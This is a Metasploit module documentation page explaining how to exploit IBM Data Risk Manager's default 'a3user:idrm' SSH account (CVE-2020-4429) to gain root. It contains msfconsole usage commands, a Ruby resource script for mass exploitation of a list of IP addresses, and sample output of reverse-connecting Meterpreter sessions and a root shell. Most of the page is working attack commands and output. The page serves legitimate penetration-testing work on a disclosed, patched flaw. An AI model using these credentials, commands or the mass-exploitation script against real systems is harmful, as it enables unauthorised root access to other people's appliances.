IBM Data Risk Manager a3user Default Password - Metasploit
This page contains detailed information about how to use the exploit/linux/ssh/ibm_drm_a3user metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: IBM Data Risk Manager a3user Default Password
Module: exploit/linux/ssh/ibm_drm_a3user
Source code: modules/exploits/linux/ssh/ibm_drm_a3user.rb
Disclosure date: 2020-04-21
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 22
List of CVEs: CVE-2020-4427, CVE-2020-4428, CVE-2020-4429, CVE-2020-4430
This module abuses a known default password in IBM Data Risk Manager. The 'a3user' has the default password 'idrm' and allows an attacker to log in to the virtual appliance via SSH. This can be escalate to full root access, as 'a3user' has sudo access with the default password. At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. Versions <= 2.0.6.1 are confirmed to be vulnerable.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using ibm_drm_a3user against a single host
Normally, you can use exploit/linux/ssh/ibm_drm_a3user this way:
msf > use exploit/linux/ssh/ibm_drm_a3user
msf exploit(ibm_drm_a3user) > show targets
... a list of targets ...
msf exploit(ibm_drm_a3user) > set TARGET target-id
msf exploit(ibm_drm_a3user) > show options
... show and set options ...
msf exploit(ibm_drm_a3user) > exploit
Using ibm_drm_a3user against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ibm_drm_a3user will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/ssh/ibm_drm_a3user")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module abuses a known default password in IBM Data Risk Manager. The 'a3user' has the default password 'idrm' and allows an attacker to log in to the virtual appliance via SSH.
This can be escalated to full root access, as 'a3user' has sudo access with the default password.
At the time of disclosure this was an 0day, but it was later confirmed and patched by IBM. Versions <= 2.0.6.1 are confirmed to be vulnerable.
Vulnerability information
For more information about the vulnerability, check the advisory at: https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
Setup
The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so.
Verification Steps
Module defaults work very well, you should just need to set RHOSTS!
Scenarios
A successful exploit will look like this:
msf5 exploit(linux/ssh/ibm_drm_a3user) > run
[*] 10.22.22.212:22 - Attempting to login to the IBM Data Risk Manager appliance...
[+] 10.22.22.212:22 - Login Successful (a3user:idrm)
[*] Found shell.
[*] Command shell session 5 opened (10.22.22.1:45489 -> 10.22.22.212:22) at 2020-04-22 12:10:13 +0700
[*] 10.22.22.212:22 - Escalating privileges to root, please wait a few seconds...
[+] 10.22.22.212:22 - Done, enjoy your root shell!
uname -a
Linux idrm-server.ibm.com 3.10.0-862.3.2.el7.x86_64 #1 SMP Tue May 15 18:22:15 EDT 2018 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root)
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Msfconsole Usage
Here is how the linux/ssh/ibm_drm_a3user exploit module looks in the msfconsole:
msf6 > use exploit/linux/ssh/ibm_drm_a3user
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/ssh/ibm_drm_a3user) > show info
Name: IBM Data Risk Manager a3user Default Password
Module: exploit/linux/ssh/ibm_drm_a3user
Platform: Unix
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2020-04-21
Provided by:
Pedro Ribeiro <[email protected]>
Available targets:
Id Name
-- ----
0 IBM Data Risk Manager <= 2.0.6.1
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD idrm yes Password to login with
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USERNAME a3user yes Username to login with
Payload information:
Description:
This module abuses a known default password in IBM Data Risk
Manager. The 'a3user' has the default password 'idrm' and allows an
attacker to log in to the virtual appliance via SSH. This can be
escalate to full root access, as 'a3user' has sudo access with the
default password. At the time of disclosure this was an 0day, but it
was later confirmed and patched by IBM. Versions <= 2.0.6.1 are
confirmed to be vulnerable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2020-4429
https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
https://seclists.org/fulldisclosure/2020/Apr/33
https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/
Module Options
This is a complete list of options available in the linux/ssh/ibm_drm_a3user exploit:
msf6 exploit(linux/ssh/ibm_drm_a3user) > show options
Module options (exploit/linux/ssh/ibm_drm_a3user):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD idrm yes Password to login with
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port
USERNAME a3user yes Username to login with
Payload options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
Exploit target:
Id Name
-- ----
0 IBM Data Risk Manager <= 2.0.6.1
Advanced Options
Here is a complete list of advanced options supported by the linux/ssh/ibm_drm_a3user exploit:
msf6 exploit(linux/ssh/ibm_drm_a3user) > show advanced
Module advanced options (exploit/linux/ssh/ibm_drm_a3user):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
SSH_DEBUG false no Enable SSH debugging output (Extreme verbosity!)
SSH_IDENT SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3 yes SSH client identification string
SSH_TIMEOUT 30 no Specify the maximum time to negotiate a SSH session
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/interact):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/ssh/ibm_drm_a3user module can exploit:
msf6 exploit(linux/ssh/ibm_drm_a3user) > show targets
Exploit targets:
Id Name
-- ----
0 IBM Data Risk Manager <= 2.0.6.1
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/ssh/ibm_drm_a3user exploit:
msf6 exploit(linux/ssh/ibm_drm_a3user) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/interact normal No Unix Command, Interact with Established Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/ssh/ibm_drm_a3user exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/ssh/ibm_drm_a3user) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> SSH - Connection error
Here is a relevant code snippet related to the "<PEER> SSH - Connection error" error message:
101: ssh =
102: ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
103: Net::SSH.start(rhost, user, opts)
104: end
105: rescue Rex::ConnectionError
106: fail_with(Failure::Unknown, "#{peer} SSH - Connection error")
107: rescue Net::SSH::Disconnect, ::EOFError
108: fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")
109: rescue ::Timeout::Error
110: fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")
111: rescue Net::SSH::AuthenticationFailed
<PEER> SSH - Disconnected during negotiation
Here is a relevant code snippet related to the "<PEER> SSH - Disconnected during negotiation" error message:
103: Net::SSH.start(rhost, user, opts)
104: end
105: rescue Rex::ConnectionError
106: fail_with(Failure::Unknown, "#{peer} SSH - Connection error")
107: rescue Net::SSH::Disconnect, ::EOFError
108: fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")
109: rescue ::Timeout::Error
110: fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")
111: rescue Net::SSH::AuthenticationFailed
112: fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")
113: rescue Net::SSH::Exception => e
<PEER> SSH - Timed out during negotiation
Here is a relevant code snippet related to the "<PEER> SSH - Timed out during negotiation" error message:
105: rescue Rex::ConnectionError
106: fail_with(Failure::Unknown, "#{peer} SSH - Connection error")
107: rescue Net::SSH::Disconnect, ::EOFError
108: fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")
109: rescue ::Timeout::Error
110: fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")
111: rescue Net::SSH::AuthenticationFailed
112: fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")
113: rescue Net::SSH::Exception => e
114: fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")
115: end
<PEER> SSH - Failed authentication
Here is a relevant code snippet related to the "<PEER> SSH - Failed authentication" error message:
107: rescue Net::SSH::Disconnect, ::EOFError
108: fail_with(Failure::Unknown, "#{peer} SSH - Disconnected during negotiation")
109: rescue ::Timeout::Error
110: fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")
111: rescue Net::SSH::AuthenticationFailed
112: fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")
113: rescue Net::SSH::Exception => e
114: fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")
115: end
116:
117: return Net::SSH::CommandStream.new(ssh) if ssh
<PEER> SSH Error: <E.CLASS> : <E.MESSAGE>
Here is a relevant code snippet related to the "<PEER> SSH Error: <E.CLASS> : <E.MESSAGE>" error message:
109: rescue ::Timeout::Error
110: fail_with(Failure::Unknown, "#{peer} SSH - Timed out during negotiation")
111: rescue Net::SSH::AuthenticationFailed
112: fail_with(Failure::Unknown, "#{peer} SSH - Failed authentication")
113: rescue Net::SSH::Exception => e
114: fail_with(Failure::Unknown, "#{peer} SSH Error: #{e.class} : #{e.message}")
115: end
116:
117: return Net::SSH::CommandStream.new(ssh) if ssh
118:
119: nil
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Related Pull Requests
- #13770 Merged Pull Request: Update IBM DRM modules with URL and correct versions
- #13304 Merged Pull Request: Add SSH exploit for IBM Data Risk Manager (CVE-2020-4429)
References
- CVE-2020-4429
- https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm_drm/ibm_drm_rce.md
- https://seclists.org/fulldisclosure/2020/Apr/33
- https://www.ibm.com/blogs/psirt/security-bulletin-vulnerabilities-exist-in-ibm-data-risk-manager-cve-2020-4427-cve-2020-4428-cve-2020-4429-and-cve-2020-4430/
See Also
Check also the following modules related to this module:
- auxiliary/admin/http/ibm_drm_download
- exploit/linux/http/ibm_drm_rce
- exploit/linux/http/ibm_qradar_unauth_rce
- exploit/linux/ssh/ceragon_fibeair_known_privkey
- exploit/linux/ssh/cisco_ucs_scpuser
- exploit/linux/ssh/exagrid_known_privkey
- exploit/linux/ssh/f5_bigip_known_privkey
- exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey
- exploit/linux/ssh/mercurial_ssh_exec
- exploit/linux/ssh/microfocus_obr_shrboadmin
- exploit/linux/ssh/quantum_dxi_known_privkey
- exploit/linux/ssh/quantum_vmpro_backdoor
- exploit/linux/ssh/solarwinds_lem_exec
- exploit/linux/ssh/symantec_smg_ssh
- exploit/linux/ssh/vmware_vdp_known_privkey
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/windows/browser/ibm_spss_c1sizer
- exploit/windows/browser/ibm_tivoli_pme_activex_bof
- exploit/windows/fileformat/ibm_forms_viewer_fontname
- exploit/windows/fileformat/ibm_pcm_ws
- exploit/windows/http/ibm_tivoli_endpoint_bof
- exploit/windows/http/ibm_tpmfosd_overflow
- exploit/windows/http/ibm_tsm_cad_header
- exploit/windows/ibm/ibm_was_dmgr_java_deserialization_rce
- exploit/windows/misc/ibm_cognos_tm1admsd_bof
- exploit/windows/misc/ibm_director_cim_dllinject
- exploit/windows/misc/ibm_tsm_cad_ping
- exploit/windows/misc/ibm_tsm_rca_dicugetidentify
- exploit/windows/misc/ibm_websphere_java_deserialize
- exploit/osx/local/rsh_libmalloc
- exploit/windows/browser/ibmegath_getxmlvalue
- exploit/windows/browser/ibmlotusdomino_dwa_uploadmodule
Authors
- Pedro Ribeiro <pedrib[at]gmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
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